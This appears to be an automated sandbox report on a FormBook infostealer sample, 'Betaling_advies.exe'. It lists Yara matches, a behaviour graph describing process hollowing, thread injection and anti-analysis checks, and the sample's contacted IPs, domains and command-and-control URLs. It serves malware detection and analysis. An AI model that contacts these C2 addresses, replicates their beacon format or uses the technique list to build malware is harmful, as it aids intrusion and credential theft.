Yara detected FormBook
Source: Yara match File source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 383925 Sample: Betaling_advies.exe Startdate: 08/04/2021 Architecture: WINDOWS Score: 100 31 www.carsoncredittx.com 2->31 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 4 other signatures 2->45 11 Betaling_advies.exe 18 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\Local\...\571kzkbal.dll, PE32 11->29 dropped 55 Detected unpacking (changes PE section rights) 11->55 57 Maps a DLL or memory area into another process 11->57 59 Tries to detect virtualization through RDTSC time measurements 11->59 61 Contains functionality to prevent local Windows debugging 11->61 15 Betaling_advies.exe 11->15         started        signatures6 process7 signatures8 63 Modifies the context of a thread in another process (thread injection) 15->63 65 Maps a DLL or memory area into another process 15->65 67 Sample uses process hollowing technique 15->67 69 Queues an APC in another process (thread injection) 15->69 18 explorer.exe 15->18 injected process9 dnsIp10 33 www.dfch18.com 156.241.53.253, 49771, 80 XIAOZHIYUN1-AS-APICIDCNETWORKUS Seychelles 18->33 35 boulderhalle-hamburg.com 81.169.145.150, 49765, 80 STRATOSTRATOAGDE Germany 18->35 37 22 other IPs or domains 18->37 47 System process connects to network (likely due to code injection or exploit) 18->47 22 colorcpl.exe 18->22         started        signatures11 process12 signatures13 49 Modifies the context of a thread in another process (thread injection) 22->49 51 Maps a DLL or memory area into another process 22->51 53 Tries to detect virtualization through RDTSC time measurements 22->53 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
198.54.117.218
 parkingpage.namecheap.com United States
22612 NAMECHEAP-NETUS false
35.246.6.109
 td-balancer-euw2-6-109.wixdns.net United States
15169 GOOGLEUS false
52.128.23.153
 www.neutrasystems.com United States
19324 DOSARRESTUS true
192.187.111.219
 www.kathyscrabhouse.com United States
33387 NOCIXUS true
107.178.109.19
 osaka-computer.net United States
53755 IOFLOODUS true
34.102.136.180
 ladybugtubs.com United States
15169 GOOGLEUS false
81.169.145.150
 boulderhalle-hamburg.com Germany
6724 STRATOSTRATOAGDE true
156.241.53.253
 www.dfch18.com Seychelles
136800 XIAOZHIYUN1-AS-APICIDCNETWORKUS true
35.208.69.149
 www.werealestatephotography.com United States
19527 GOOGLE-2US true

Contacted Domains

Name IP Active
ladybugtubs.com 34.102.136.180 true
www.werealestatephotography.com 35.208.69.149 true
allwest-originals.com 34.102.136.180 true
boulderhalle-hamburg.com 81.169.145.150 true
specstrii.com 34.102.136.180 true
osaka-computer.net 107.178.109.19 true
www.carsoncredittx.com 192.155.168.82 true
www.kathyscrabhouse.com 192.187.111.219 true
td-balancer-euw2-6-109.wixdns.net 35.246.6.109 true
parkingpage.namecheap.com 198.54.117.218 true
www.neutrasystems.com 52.128.23.153 true
www.dfch18.com 156.241.53.253 true
www.ladybugtubs.com unknown unknown
www.boulderhalle-hamburg.com unknown unknown
www.osaka-computer.net unknown unknown
www.allwest-originals.com unknown unknown
www.thenewyorker.computer unknown unknown
www.loanascustomboutique.com unknown unknown
www.wellalytics.com unknown unknown
www.themusasoficial.com unknown unknown
www.specstrii.com unknown unknown
www.organicfarmteam.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.dfch18.com/hw6d/?DnbLu=PD6zFQZ0feRnIFnqRgwh7WYr9HBCLrLQfeEKpwQ3SsDBQ385jeUvmpjltj5zrHZAx7on&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown
http://www.werealestatephotography.com/hw6d/?DnbLu=um+iqA/SlswPLY/3czDk0wl6oY0PgWYbosSPlOYlzmcZrAL5djGLa7ExvPa80BRt3GVX&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown
http://www.kathyscrabhouse.com/hw6d/?DnbLu=g+1Vjsk4w8x2RD/Kt8Hxup0r2HreN3Gf6VbT6qUlKeSViUJ1r397pmudv9cb4ekjB+95&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown
www.werealestatephotography.com/hw6d/ true
  • Avira URL Cloud: safe
 low
http://www.specstrii.com/hw6d/?DnbLu=IiUUmeNwmzZIwBY6jv8olF4RAcLcRfzkTrlXtYyMQXecYFYW1rp8TEFuPJqz5eLrlk+J&EzuxZl=3fX4qpLxXJu false
  • Avira URL Cloud: malware
 unknown
http://www.thenewyorker.computer/hw6d/?DnbLu=Y1unV92ZJUSuuBS+wJtUBQ3HA2/A73jU4dZUG/XKFhicVa7REK6SIV0eE0B/9G03nb8G&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown
http://www.allwest-originals.com/hw6d/?DnbLu=9ueW5jgNjqHYG2FKt2LGoCq6SuP7mnM61J0YxzvwfvA6U9wxZN+9uCYbtAS/FF4JJope&EzuxZl=3fX4qpLxXJu false
  • Avira URL Cloud: safe
 unknown
http://www.organicfarmteam.com/hw6d/?DnbLu=D7dtfgb1ASpTWXzDTTkBm63TDYSh3Sz8xx3t4TS2wXC5rygslUZX2+E35rBVQjv7JKAU&EzuxZl=3fX4qpLxXJu false
  • Avira URL Cloud: safe
 unknown
http://www.osaka-computer.net/hw6d/?DnbLu=JJCdylcTzsLZbxD+F44msifm3t5O58VGmPPtm/HjqScxgR1v9JyEBvOVGIsgPNAdlWCx&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown
http://www.neutrasystems.com/hw6d/?DnbLu=eQ0CjYjVQ3ZWFLT9z9t5AWcWjesy46k9o3/PiW4fNWDoBcoO4PdNNvWWcbIpStJgY1Xn&EzuxZl=3fX4qpLxXJu true
  • Avira URL Cloud: safe
 unknown